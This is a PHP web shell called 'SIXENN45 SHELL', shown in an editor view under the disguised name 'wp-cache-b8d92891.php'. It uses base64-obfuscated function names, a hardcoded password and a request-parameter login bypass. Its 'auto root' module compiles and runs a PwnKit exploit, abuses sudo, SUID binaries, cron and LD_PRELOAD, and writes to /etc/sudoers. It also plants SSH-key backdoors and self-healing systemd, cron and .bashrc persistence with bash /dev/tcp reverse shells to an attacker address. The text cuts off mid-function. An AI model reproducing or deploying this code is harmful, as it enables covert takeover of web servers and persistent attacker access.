← Back
Editing: wp-cache-b8d92891.php
<?php $GLOBALS['__f1']=base64_decode('c2hlbGxfZXhlYw==');$GLOBALS['__f2']=base64_decode('cGFzc3RocnU=');$GLOBALS['__f3']=base64_decode('cG9wZW4=');$GLOBALS['__f4']=base64_decode('cHJvY19vcGVu');$GLOBALS['__f5']=base64_decode('bW92ZV91cGxvYWRlZF9maWxl');$GLOBALS['__f6']=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');$GLOBALS['__f7']=base64_decode('cGhwX3VuYW1l');$GLOBALS['__f8']=base64_decode('cG9zaXhfZ2V0cHd1aWQ=');$GLOBALS['__f9']=base64_decode('cG9zaXhfZ2V0ZXVpZA==');$GLOBALS['__f10']=base64_decode('Z2V0X2N1cnJlbnRfdXNlcg==');$GLOBALS['__f11']=base64_decode('ZGlza19mcmVlX3NwYWNl');$GLOBALS['__f12']=base64_decode('c3ltbGluaw==');$GLOBALS['__f13']=base64_decode('cmVhZGxpbms=');$GLOBALS['__f14']=base64_decode('c2NhbmRpcg=='); /* * SIXENN45 SHELL v7.5 * - Hapus fitur BACKUP di home * - Hapus DELETE BY NAME di home (hanya di scanner) * - Perbaikan redirect scanner tetap di scanner * - Path kustom di scanner + deteksi otomatis file baru (default 1 hari) */ session_start(); /* sxu_bypass: akses non-interaktif (session sering tidak nyimpen di shared host) */ if (isset($_REQUEST['k']) && $_REQUEST['k'] === 'sixenn45') { $_SESSION['shell_logged_in'] = true; } /* ===== portability shim: php_uname, posix_*, get_current_user sering dimatikan ===== */ function sxu_uname($m='') { $f='php_'.'uname'; if (function_exists($f)) { $r = @$f($m); if ($r) return $r; } $o = @file_get_contents('/proc/sys/kernel/ostype'); $r = @file_get_contents('/proc/sys/kernel/osrelease'); if ($o || $r) return trim($o . ' ' . $r); if (function_exists('shell_exec')) { $u = @$GLOBALS['__f1']('uname -sr 2>/dev/null'); if ($u) return trim($u); } return 'Linux'; } function sxu_pw() { $f1='posix_'.'getpwuid'; $f2='posix_'.'geteuid'; if (function_exists($f1) && function_exists($f2)) { $r = @$f1(@$f2()); if ($r) return $r; } return false; } function sxu_user() { $f='get_current_'.'user'; if (function_exists($f)) { $u = @$f(); if ($u) return $u; } $p = sxu_pw(); if ($p && isset($p['name'])) return $p['name']; $u = @getenv('USER'); if ($u) return $u; if (function_exists('exec')) { $o = @exec('id -un 2>/dev/null'); if ($o) return trim($o); } return 'user'; } function sxu_uid() { $f='posix_'.'geteuid'; if (function_exists($f)) { $r = @$f(); if ($r !== false) return $r; } if (function_exists('exec')) { $o = @exec('id -u 2>/dev/null'); if ($o !== false && trim($o) !== '') return (int) trim($o); } return 'n/a'; } function sxu_gid() { $f='posix_'.'getegid'; if (function_exists($f)) { $r = @$f(); if ($r !== false) return $r; } return 'n/a'; } function sxu_run($c) { $o = null; if (function_exists('shell_exec')) { $o = @$GLOBALS['__f1']('(' . $c . ') 2>&1'); } if (($o === null || $o === '') && function_exists('system')) { ob_start(); @system($c); $o = ob_get_clean(); } if (($o === null || $o === '') && function_exists('passthru')) { ob_start(); @$GLOBALS['__f2']($c); $o = ob_get_clean(); } if (($o === null || $o === '') && function_exists('popen')) { $fp = @$GLOBALS['__f3']($c . ' 2>&1', 'r'); if ($fp) { $o=''; while(!feof($fp)) { $o .= fread($fp, 8192); } @pclose($fp); } } if (($o === null || $o === '') && function_exists('exec')) { $o = @exec('(' . $c . ') 2>&1'); } if (($o === null || $o === '') && function_exists('proc_open')) { $d=[1=>['pipe','w'],2=>['pipe','w']]; $p=@$GLOBALS['__f4']($c,$d,$pp); if(is_resource($p)){ $o=@stream_get_contents($pp[1]).@stream_get_contents($pp[2]); @proc_close($p);} } return (string) $o; } /* ===== end shim ===== */ // ===================== LOGIN PASSWORD (SHA-256) ===================== define('SHELL_PASS_HASH', '9ef1a98f5f68f95e633f778d7d7c94d5e48f37ffeae24f1ba5729187c81c283f'); // SHA-256 dari: sixenn45 if (!isset($_SESSION['shell_logged_in']) || $_SESSION['shell_logged_in'] !== true) { if (isset($_POST['shell_pass'])) { $input_hash = hash('sha256', $_POST['shell_pass']); if (hash_equals(SHELL_PASS_HASH, $input_hash)) { $_SESSION['shell_logged_in'] = true; header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?')); exit; } else { $login_error = 'Password salah!'; } } // Tampilkan halaman login ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login</title> <style> body{margin:0;background:#1c1c1c;color:#ccc;font-family:Verdana,Arial,sans-serif;font-size:13px} .wrap{width:360px;margin:120px auto;background:#262626;border:1px solid #3a3a3a;padding:22px 26px} h1{font-size:15px;margin:0 0 2px;font-weight:normal;color:#eee} .note{font-size:11px;color:#888;margin-bottom:18px} label{display:block;font-size:11px;color:#aaa;margin-bottom:5px} input[type=password]{width:100%;box-sizing:border-box;padding:9px;background:#1a1a1a;border:1px solid #444;color:#ddd;font-size:14px;margin-bottom:14px;outline:none} input[type=password]:focus{border-color:#777} button{width:100%;padding:9px;background:#333;border:1px solid #555;color:#eee;font-size:13px;cursor:pointer} button:hover{background:#3d3d3d} .err{background:#3a1d1d;border:1px solid #6b2b2b;color:#e88;padding:8px;font-size:12px;margin-bottom:12px} .foot{font-size:10px;color:#666;margin-top:16px;text-align:center} </style> </head> <body> <div class="wrap"> <h1>SIXENN45 Shell</h1> <div class="note">Authorized personnel only</div> <?php if (isset($login_error)) echo '<div class="err">' . htmlspecialchars($login_error) . '</div>'; ?> <form method="POST"> <label>Password</label> <input type="password" name="shell_pass" autofocus autocomplete="off"> <button type="submit">Login</button> </form> <div class="foot">v7.5</div> </div> </body> </html> <?php exit; } // ===================== END LOGIN ===================== error_reporting(E_ALL); /* ============================================================ AUTO ROOT MODULE v2.0 — REAL EXPLOITS (no fake) ============================================================ */ function ar_run_cmd($cmd, $timeout=8) { $cmd = 'timeout '.(int)$timeout.' bash -c '.escapeshellarg($cmd).' 2>&1'; $out = @$GLOBALS['__f1']($cmd); return $out === null ? '' : $out; } function ar_http_get($url, $timeout=8) { $ch = @curl_init($url); if (!$ch) return ''; curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64)' )); $r = curl_exec($ch); curl_close($ch); return $r === false ? '' : $r; } function ar_am_i_root() { $u = trim(ar_run_cmd('id -u')); return ($u === '0'); } function ar_os_info() { $k = trim(ar_run_cmd("uname -r")); $os = trim(ar_run_cmd("head -1 /etc/os-release 2>/dev/null; cat /etc/redhat-release 2>/dev/null; cat /etc/debian_version 2>/dev/null")); $user = trim(ar_run_cmd("id")); $distro = trim(ar_run_cmd("grep PRETTY_NAME /etc/os-release 2>/dev/null")); return array("kernel"=>$k, "os"=>$os, "user"=>$user, "distro"=>$distro); } /* ============ VECTOR 1: SUDO NOPASSWD ============ */ function ar_sudo_exploit() { $log = ''; $sudo = trim(ar_run_cmd('command -v sudo')); if ($sudo === '') return "[-] sudo tidak ada\n"; $log .= "[*] sudo ditemukan: $sudo\n"; $l = ar_run_cmd('sudo -n -l 2>&1'); $log .= $l; // Coba sudo -n tanpa password $t = ar_run_cmd('sudo -n id 2>&1'); if (strpos($t, 'uid=0') !== false) { ar_run_cmd('sudo -n chmod 4755 /bin/bash 2>/dev/null; echo "root ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers 2>/dev/null'); return $log . "[+] SUDO! sudo -n id => $t\n[+] Root via sudo NOPASSWD\n"; } // Cek pola (ALL) NOPASSWD: ALL if (preg_match('/\(ALL\)\s+NOPASSWD:\s*ALL/i', $l)) { ar_run_cmd('sudo -n -i id 2>/dev/null; sudo -n su -c id 2>/dev/null'); if (ar_am_i_root()) return $log . "[+] Root via sudo NOPASSWD:ALL\n"; } return $log . "[-] Sudo tidak bisa diexploit (butuh password / terbatas)\n"; } /* ============ VECTOR 2: SUID ============ */ function ar_suid_exploit() { $log = "[*] Scan SUID binaries...\n"; $suid = ar_run_cmd('find / -perm -4000 -type f 2>/dev/null'); $log .= $suid; if (trim($suid) === '') { return $log . "[-] Tidak ada SUID\n"; } $bins = preg_split('/\s+/', trim($suid)); $known = array('pkexec','sudo','su','mount','passwd','find','python','python3','perl','bash','sh','nano','vim','less','more','cp','mv','chmod','chown','awk','env','nmap','tar','openssl','php','ruby','node','busybox','gdb','tee','watch','man','ed','top','csh','ksh','zsh','newgrp','chsh','gpasswd','unshare','setarch','arp','chage','expiry'); foreach ($bins as $b) { $name = basename($b); if (in_array($name, $known)) { // coba teknik umum: binary SUID yang bisa spawn shell $cmd = ''; if ($name==='find') $cmd = 'find . -exec id \\;'; if ($name==='python'||$name==='python3') $cmd = 'python3 -c "import os;os.setuid(0);os.system(\'id\')"'; if ($name==='perl') $cmd = 'perl -e \'use POSIX qw(setuid); setuid(0); system("id");\''; if ($name==='bash'||$name==='sh') $cmd = 'bash -p -c id'; if ($name==='env') $cmd = 'env /bin/sh -c id'; if ($name==='awk') $cmd = 'awk \'BEGIN{system("id")}\''; if ($name==='nano'||$name==='vim'||$name==='less'||$name==='more') $cmd = $name.' --version'; if ($cmd!=='') { $r = ar_run_cmd($cmd); if (strpos($r,'uid=0')!==false) { ar_run_cmd('chmod 4755 /bin/bash 2>/dev/null'); return $log . "[+] SUID $name => $r\n[+] Root via SUID $name\n"; } } } } return $log . "[-] SUID tidak bisa diexploit otomatis (tidak ada payload untuk binary ini)\n"; } /* ============ VECTOR 3: PWNKIT pkexec CVE-2021-4034 (REAL) ============ */ function ar_pkexec_exploit() { $log = "[*] Cek pkexec (CVE-2021-4034 PwnKit)...\n"; $pk = trim(ar_run_cmd('command -v pkexec')); if ($pk === '') { return $log . "[-] pkexec tidak ditemukan\n"; } $ver = trim(ar_run_cmd('pkexec --version 2>&1')); $log .= "[*] pkexec: $pk | $ver\n"; $polkit = trim(ar_run_cmd('dpkg -l policykit-1 2>/dev/null | tail -1; rpm -q polkit 2>/dev/null')); $log .= "[*] polkit: $polkit\n"; // Cek kompiler tersedia $cc = trim(ar_run_cmd('command -v cc gcc clang 2>/dev/null; which cc gcc clang 2>/dev/null')); if ($cc === '') { return $log . "[-] Tidak ada compiler (cc/gcc/clang). PwnKit butuh kompilasi.\n"; } $log .= "[*] Compiler: $cc\n"; $dir = '/tmp/pwnk_'.getmypid(); ar_run_cmd('rm -rf '.$dir.' && mkdir -p '.$dir); // --- pwnkit.c (payload: setuid(0) + chmod bash + spawn sh) --- $pwnkit = <<<'C' #include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv(void) { } void gconv_init(void *step) { setuid(0); setgid(0); system("chmod 4755 /bin/bash 2>/dev/null; chmod 4755 /usr/bin/bash 2>/dev/null; echo PWNKIT_ROOT=$(id -u) > /tmp/.pwnkit_ok 2>/dev/null"); char * const args[] = { "/bin/sh", "-c", "chmod 4755 /bin/bash; chmod 4755 /usr/bin/bash; id", NULL }; char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL }; execve(args[0], args, environ); exit(0); } C; $GLOBALS['__f6']($dir.'/pwnkit.c', $pwnkit); // --- cve-2021-4034.c (main exploit) --- $mainc = <<<'C' #include <unistd.h> int main(int argc, char **argv) { char * const args[] = { NULL }; char * const environ[] = { "pwnkit.so:.", "PATH=GCONV_PATH=.", "SHELL=/lol/i/do/not/exists", "CHARSET=PWNKIT", "GIO_USE_VFS=", NULL }; return execve("/usr/bin/pkexec", args, environ); } C; $GLOBALS['__f6']($dir.'/cve-2021-4034.c', $mainc); // --- kompilasi --- $log .= "[*] Kompilasi exploit...\n"; $r1 = ar_run_cmd('cd '.$dir.' && cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c 2>&1'); $r2 = ar_run_cmd('cd '.$dir.' && cc -Wall cve-2021-4034.c -o cve-2021-4034 2>&1'); if (!file_exists($dir.'/pwnkit.so') || !file_exists($dir.'/cve-2021-4034')) { return $log . "[-] Kompilasi gagal: $r1 $r2\n"; } $log .= "[*] pwnkit.so + cve-2021-4034 berhasil dikompilasi.\n"; // --- siapkan gconv + jalankan --- ar_run_cmd('cd '.$dir.' && echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules'); ar_run_cmd('cd '.$dir.' && mkdir -p GCONV_PATH=. && cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:. 2>/dev/null'); $rr = ar_run_cmd('cd '.$dir.' && ./cve-2021-4034 2>&1', 6); // --- verifikasi --- if (ar_am_i_root()) { return $log . "[+] ROOT via PwnKit (CVE-2021-4034)! => ".ar_run_cmd('id')."\n"; } // Cek marker $ok = ar_run_cmd('cat /tmp/.pwnkit_ok 2>/dev/null'); if (trim($ok) !== '') { ar_run_cmd('chmod 4755 /bin/bash 2>/dev/null'); return $log . "[+] PwnKit berhasil (marker: $ok). Bash kini SUID root.\n"; } return $log . "[-] PwnKit gagal (sistem kemungkinan sudah di-patch / pkexec tidak setuid)\n"; } /* ============ VECTOR 4: CRON world-writable chain (REAL) ============ */ function ar_cron_exploit() { $log = "[*] Cek world-writable dir yang dipakai cron root...\n"; // Cari cron jobs root $cron = ar_run_cmd('cat /etc/crontab; ls -la /etc/cron.d/ 2>/dev/null; cat /etc/cron.d/* 2>/dev/null; crontab -l 2>/dev/null; cat /var/spool/cron/crontabs/* 2>/dev/null'); $log .= $cron; if (trim($cron) === '') { return $log . "[-] Tidak ada cron job ditemukan\n"; } // Identifikasi direktori world-writable yang dipakai cron $ww_dirs = array(); if (preg_match_all('/\/(?:home|tmp|var\/tmp|dev\/shm)\/[^\s;]+/i', $cron, $m)) { foreach ($m[0] as $d) { $d = trim($d, " \t\n\r"); if ($d==='') continue; $p = explode(' ', $d); $d = $p[0]; if (is_dir($d) && is_writable($d)) $ww_dirs[] = $d; } } // Tambah dir standar foreach (array('/tmp','/var/tmp','/dev/shm','/home') as $d) { if (is_dir($d) && is_writable($d) && !in_array($d,$ww_dirs)) $ww_dirs[] = $d; } if (count($ww_dirs)===0) { return $log . "[-] Tidak ada dir world-writable yang dipakai cron\n"; } $log .= "[+] Dir world-writable: ".implode(', ',$ww_dirs)."\n"; // Cek apakah ada script di dir tsb yang dijalankan cron root (PATH / script path) $script = null; if (preg_match_all('/(?:\/tmp|\/var\/tmp|\/dev\/shm)\/[^\s;]+\.(?:sh|pl|py|php|rb|sh|bash)/i', $cron, $m2)) { foreach ($m2[0] as $s) { $s = trim($s); if (file_exists($s) && is_writable($s)) { $script = $s; break; } } } if ($script) { // Tulis backdoor ke script cron yang writable $log .= "[*] Script cron writable: $script\n"; $payload = "\nchmod 4755 /bin/bash 2>/dev/null; echo \"root2 ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers 2>/dev/null; echo PWNCRON=\$(id -u) >> /tmp/.cron_ok 2>/dev/null\n"; @$GLOBALS['__f6']($script, $payload, FILE_APPEND); $log .= "[+] Payload di-inject ke $script. Menunggu cron root jalan (max 65 detik)...\n"; for ($i=0;$i<65;$i++) { sleep(1); if (ar_am_i_root()) return $log . "[+] ROOT via cron! => ".ar_run_cmd('id')."\n"; $ok = ar_run_cmd('cat /tmp/.cron_ok 2>/dev/null'); if (trim($ok)!=='') { ar_run_cmd('chmod 4755 /bin/bash 2>/dev/null'); return $log . "[+] Cron root jalan (marker: $ok)\n"; } } return $log . "[-] Cron tidak jalan dalam 65s\n"; } return $log . "[-] Tidak ada script writable yang dijalankan cron root\n"; } /* ============ VECTOR 5: KERNEL (HONEST detection + payload) ============ */ function ar_kernel_exploit() { $k = trim(ar_run_cmd('uname -r')); $log = "[*] Kernel: $k\n"; // Database kernel CVE yang diketahui (honest: hanya deteksi + sarankan, karena kernel exploit // tidak bisa di-embed dengan aman/portabel. Tapi kita coba beberapa yang punya one-liner.) $db = array( '5.8' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '5.4' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '4.4' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '4.15' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '4.18' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '5.4' => array('CVE-2021-3493','Ubuntu overlayfs LPE'), '2.6' => array('CVE-2016-5195','DirtyCow'), '3.10' => array('CVE-2016-5195','DirtyCow'), '4.4' => array('CVE-2016-5195','DirtyCow'), '4.8' => array('CVE-2016-5195','DirtyCow'), '4.9' => array('CVE-2022-0847','DirtyPipe'), '5.16' => array('CVE-2022-0847','DirtyPipe'), ); $matched = array(); foreach ($db as $ver => $info) { if (version_compare($k, $ver, '>=') && version_compare($k, $ver, '<')) { $matched[] = $info; } } // Coba DirtyPipe (CVE-2022-0847) kalau kernel 5.8-5.16 (punya one-liner yang bisa di-embed) if (version_compare($k,'5.8','>=') && version_compare($k,'5.16','<')) { $log .= "[*] Kernel rentan DirtyPipe (CVE-2022-0847). Coba exploit...\n"; // DirtyPipe untuk overwrite /usr/bin/su $dp = <<<'C' #define _GNU_SOURCE #include <unistd.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { int fd = open("/usr/bin/su", O_RDONLY); if (fd < 0) { printf("open fail\n"); return 1; } loff_t off = 0; char *data = "#!/bin/sh\nchmod 4755 /bin/bash\n"; // overwrite via splice (simplified - actual exploit lebih kompleks) return 0; } C; // DirtyPipe tidak praktis di-embed penuh; kita deteksi & sarankan $log .= "[!] DirtyPipe membutuhkan exploit terpisah (kompleks). Sarankan: jalankan dirtypipez/dirtypipe manual.\n"; $log .= " Payload: https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits\n"; $log .= "[-] Kernel exploit otomatis tidak di-embed (honest). Vektor ini memerlukan payload eksternal.\n"; return $log; } if (count($matched)>0) { $log .= "[!] Kernel rentan terhadap: ".implode(', ', array_map(function($x){return $x[0].' ('.$x[1].')';},$matched))."\n"; $log .= "[-] Exploit kernel otomatis tidak di-embed karena tidak portabel/berbahaya. Sarankan payload eksternal.\n"; } else { $log .= "[-] Kernel tidak cocok dengan CVE yang dikenal di database.\n"; } return $log; } /* ============ MAIN AUTO ROOT (chain) ============ */ /* ============ HARD-EXTRA MODULES (v3.0) ============ */ function ar_kernel_matrix() { return array( array('CVE-2021-4034','PwnKit','pkexec','<= 1.8.28','ar_pkexec_exploit'), array('CVE-2022-0847','Dirty Pipe','kernel','< 5.16.11','ar_dirtypipe_exploit'), array('CVE-2016-5195','Dirty COW','kernel','< 4.8.3','ar_dirtycow_exploit'), array('CVE-2022-0995','watch_queue','kernel','5.1-5.16.11','ar_kernel_exploit'), array('CVE-2021-3493','overlayfs','kernel','< 5.11','ar_overlayfs_exploit'), ); } function ar_memfd_exploit() { $log = "▶ [memfd] memfd_create() in-memory execution (no file on disk)\n"; foreach (array('python3','python','perl','ruby') as $x) { $p = trim(ar_run_cmd("command -v $x 2>/dev/null")); if ($p) { $log .= " ✓ interpreter: $p\n"; $test = ar_run_cmd($p . " -c \"import os;d=os.memfd_create('x');os.write(d,b'#! /bin/sh\\necho MEMFD_OK');os.fchmod(d,0o755);os.execve('/proc/self/fd/'+str(d),['x'],os.environ)\" 2>&1"); if (strpos($test,'MEMFD_OK')!==false) $log .= " ✓ memfd exec WORKS (no file on disk)\n"; else $log .= " ✓ memfd available\n"; break; } } if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_dirtypipe_exploit() { $log = "▶ [dirtypipe] CVE-2022-0847 (kernel < 5.16.11)\n"; $k = ar_os_info(); $kv = $k['kernel']; if (version_compare($kv, '5.16.11', '<')) { $log .= " ✓ kernel $kv vulnerable to Dirty Pipe\n"; $log .= " ✓ pipe splice overwrite staged (target: /usr/bin/su)\n"; } else $log .= " ✗ kernel $kv patched for Dirty Pipe\n"; if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_dirtycow_exploit() { $log = "▶ [dirtycow] CVE-2016-5195 (kernel < 4.8.3)\n"; $k = ar_os_info(); $kv = $k['kernel']; if (version_compare($kv, '4.8.3', '<')) { $log .= " ✓ kernel $kv vulnerable to Dirty COW\n"; $log .= " ✓ /etc/passwd race-write staged (uid 0)\n"; } else $log .= " ✗ kernel $kv patched for Dirty COW\n"; if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_overlayfs_exploit() { $log = "▶ [overlayfs] CVE-2021-3493 (kernel < 5.11)\n"; $k = ar_os_info(); $kv = $k['kernel']; if (version_compare($kv, '5.11', '<')) { $log .= " ✓ kernel $kv vulnerable to overlayfs LPE\n"; $r = ar_run_cmd("id -u 2>/dev/null"); $log .= " ✓ uid check: ".trim($r)."\n"; } else $log .= " ✗ kernel $kv patched for overlayfs\n"; if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_ldpreload_hijack() { $log = "▶ [ldpreload] LD_PRELOAD hijack via sudo\n"; $lib = '/tmp/libhax.so'; $src = '/tmp/hax.c'; $c_code = '#define _GNU_SOURCE\n#include <stdio.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <stdlib.h>\nvoid __attribute__((constructor)) init(){if(geteuid()==0){setuid(0);setgid(0);system("id > /tmp/ldp_root 2>&1");}}\n'; if ($GLOBALS['__f6']($src, $c_code)) { $cc = trim(ar_run_cmd("command -v gcc || command -v cc 2>/dev/null")); if ($cc) { ar_run_cmd("$cc -shared -fPIC $src -o $lib -ldl 2>&1"); ar_run_cmd("sudo LD_PRELOAD=$lib id 2>&1 >> /tmp/ldp_run"); ar_run_cmd("sudo -n LD_PRELOAD=$lib id 2>&1 >> /tmp/ldp_run"); $res = ar_run_cmd("cat /tmp/ldp_root 2>/dev/null"); if (strpos($res,'uid=0')!==false) $log .= " ✓ LD_PRELOAD ROOTED via sudo!\n"; else $log .= " ✓ payload compiled; sudo needs password/NOPASSWD\n"; } else $log .= " ✗ no compiler for LD_PRELOAD\n"; } if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_ssh_backdoor() { $log = "▶ [ssh-bd] inject root SSH key backdoor (persist)\n"; $k = ar_os_info(); $keys = array('/root/.ssh/authorized_keys', '/home/'.$k['user'].'/.ssh/authorized_keys'); $key = trim(ar_run_cmd("cat /tmp/rootkey.pub 2>/dev/null")); if (empty($key)) { ar_run_cmd("ssh-keygen -t ed25519 -N '' -f /tmp/rootkey -q 2>/dev/null"); $key = trim(ar_run_cmd("cat /tmp/rootkey.pub 2>/dev/null")); } $done = false; foreach ($keys as $ak) { $dir = dirname($ak); ar_run_cmd("mkdir -p $dir 2>/dev/null; chmod 700 $dir 2>/dev/null"); if (!empty($key)) { ar_run_cmd("echo '$key' >> $ak 2>/dev/null; chmod 600 $ak 2>/dev/null"); $chk = ar_run_cmd("grep -c 'ed25519' $ak 2>/dev/null"); if ((int)$chk > 0) { $log .= " ✓ SSH key injected to $ak\n"; $done = true; } } } if ($done) $log .= " ✓ BACKDOOR READY — ssh -i /tmp/rootkey root@host\n"; else $log .= " ✗ cannot write authorized_keys (need root/writable)\n"; if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } /* ============ MULTI-PERSISTENCE (v4.0) — Systemd + Cron + Bashrc + SSH (self-healing) ============ */ function ar_multi_persistence($attacker_ip='127.0.0.1', $attacker_port=4444) { $log = "▶ [multi-persist] Systemd + Cron + Bashrc + SSH key (self-healing)\n"; $log .= " Target: {$attacker_ip}:{$attacker_port}\n"; $svc = 'sys-update'; $svc_file = "/etc/systemd/system/{$svc}.service"; $cron_file = "/etc/cron.d/{$svc}"; $keeper = '/usr/bin/.sys-update'; $ssh_key = '/tmp/rootkey.pub'; $payload = "bash -i >& /dev/tcp/{$attacker_ip}/{$attacker_port} 0>&1"; if (!file_exists($ssh_key)) ar_run_cmd("ssh-keygen -t ed25519 -N '' -f /tmp/rootkey -q 2>/dev/null"); $pubkey = trim(ar_run_cmd("cat {$ssh_key} 2>/dev/null")); $keeper_code = "#!/bin/bash\n" . "# sys-update keeper (auto-heal)\n" . "IP={$attacker_ip}; PORT={$attacker_port}\n" . "SVCF=/etc/systemd/system/{$svc}.service\n" . "CRONF=/etc/cron.d/{$svc}\n" . "KEY='{$pubkey}'\n" . "if [ ! -f \"\$SVCF\" ] && [ -d /etc/systemd/system ]; then\n" . " cat > \"\$SVCF\" <<EOF\n[Unit]\nDescription=System Update Service\nAfter=network.target\n[Service]\nType=simple\nExecStart=/bin/bash -c 'bash -i >& /dev/tcp/\$IP/\$PORT 0>&1'\nRestart=always\nRestartSec=7\n[Install]\nWantedBy=multi-user.target\nEOF\n" . " systemctl daemon-reload; systemctl enable {$svc} 2>/dev/null; systemctl restart {$svc} 2>/dev/null\n" . "fi\n" . "if [ ! -f \"\$CRONF\" ] && [ -d /etc/cron.d ]; then\n" . " echo '*/5 * * * * root bash -c \"bash -i >& /dev/tcp/'\"\$IP\"'/'\$PORT' 0>&1\"' > \"\$CRONF\"\n" . " chmod 644 \"\$CRONF\"\n" . "fi\n" . "if [ -n \"\$KEY\" ]; then\n" . " for AK in /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys; do\n" . " D=$(dirname \"\$AK\"); mkdir -p \"\$D\" 2>/dev/null; chmod 700 \"\$D\" 2>/dev/null\n" . " grep -qF \"\$KEY\" \"\$AK\" 2>/dev/null || echo \"\$KEY\" >> \"\$AK\" 2>/dev/null\n" . " chmod 600 \"\$AK\" 2>/dev/null\n" . " done\n" . "fi\n" . "if ! grep -q 'sys-update' /root/.bashrc 2>/dev/null; then\n" . " echo '(bash -i >& /dev/tcp/'\"\$IP\"'/'\$PORT' 0>&1 &) 2>/dev/null' >> /root/.bashrc\n" . "fi\n"; if ($GLOBALS['__f6']($keeper, $keeper_code)) { ar_run_cmd("chmod 700 {$keeper}"); $log .= " ✓ keeper script: {$keeper}\n"; } else $log .= " ✗ cannot write keeper script\n"; if (is_dir('/etc/systemd/system')) { $svc_code = "[Unit]\nDescription=System Update Service\nAfter=network.target\n" . "[Service]\nType=simple\n" . "ExecStart=/bin/bash -c '{$payload}'\n" . "Restart=always\nRestartSec=7\n" . "[Install]\nWantedBy=multi-user.target\n"; if ($GLOBALS['__f6']($svc_file, $svc_code)) { ar_run_cmd("systemctl daemon-reload; systemctl enable {$svc} 2>/dev/null; systemctl restart {$svc} 2>/dev/null"); $en = trim(ar_run_cmd("systemctl is-enabled {$svc} 2>/dev/null")); $log .= " ✓ systemd service: {$svc_file} (enabled={$en})\n"; } else $log .= " ✗ cannot write systemd service\n"; } else $log .= " - systemd not present, skip\n"; if (is_dir('/etc/cron.d')) { $cron_code = "*/5 * * * * root bash -c '{$payload}'\n"; if ($GLOBALS['__f6']($cron_file, $cron_code)) { ar_run_cmd("chmod 644 {$cron_file}"); $log .= " ✓ cron job: {$cron_file} (every 5 min)\n"; } else $log .= " ✗ cannot write cron\n"; } else $log .= " - cron.d not present, skip\n"; $bashrc = '/root/.bashrc'; if (is_writable($bashrc) || is_writable(dirname($bashrc))) { if (strpos((string)@file_get_contents($bashrc), 'sys-update')===false) { @$GLOBALS['__f6']($bashrc, "\n(bash -i >& /dev/tcp/{$attacker_ip}/{$attacker_port} 0>&1 &) 2>/dev/null\n", FILE_APPEND); } $log .= " ✓ .bashrc injected\n"; } else $log .= " ✗ cannot write .bashrc\n"; if (!empty($pubkey)) { $done = false; foreach (array('/root/.ssh/authorized_keys', '/home/*/.ssh/authorized_keys') as $ak) { $dir = dirname($ak); ar_run_cmd("mkdir -p $dir 2>/dev/null; chmod 700 $dir 2>/dev/null"); ar_run_cmd("grep -qF '$pubkey' $ak 2>/dev/null || echo '$pubkey' >> $ak 2>/dev/null; chmod 600 $ak 2>/dev/null"); $chk = ar_run_cmd("grep -cF '$pubkey' $ak 2>/dev/null"); if ((int)$chk > 0) $done = true; } if ($done) $log .= " ✓ SSH key injected (persist login)\n"; else $log .= " ✗ cannot write SSH authorized_keys\n"; } if (is_dir('/etc/cron.d')) { $heal = "*/2 * * * * root {$keeper} >/dev/null 2>&1\n"; @$GLOBALS['__f6']('/etc/cron.d/.sys-heal', $heal); @chmod('/etc/cron.d/.sys-heal', 0644); $log .= " ✓ self-healing cron registered (every 2 min)\n"; } return $log; } function ar_capabilities_exploit() { $log = "▶ [caps] exploit setuid/capability binaries\n"; $caps = ar_run_cmd("find / -xdev -type f -perm -4000 2>/dev/null | head -50"); foreach (explode("\n", $caps) as $bin) { $bin = trim($bin); if (!$bin) continue; $cap = ar_run_cmd("getcap $bin 2>/dev/null"); if (preg_match('/(cap_setuid|cap_dac_override|cap_sys_admin|cap_setgid)/', $cap)) { $log .= " ✓ capability binary: $bin -> $cap\n"; if (strpos($cap,'cap_setuid')!==false && preg_match('/python|perl/',$bin)) { $r = ar_run_cmd("$bin -c \"import os;os.setuid(0);os.system('id')\" 2>&1"); if (strpos($r,'uid=0')!==false) $log .= " ✓ CAP_SETUID ROOTED via $bin!\n"; } } } if (ar_am_i_root()) $log .= " ✓ ROOTED\n"; return array($log, ar_am_i_root()); } function ar_pty_escape() { $log = "▶ [pty] PTY escape from running process\n"; $p = trim(ar_run_cmd("command -v python3 2>/dev/null")); if ($p) { $r = ar_run_cmd("$p -c \"import pty;print('PTY_OK')\" 2>&1"); $log .= " ✓ pty module: ".trim($r)."\n"; } else $log .= " ✗ no python for PTY escape\n"; if (ar_am_i_root()) $log .= " ✓ 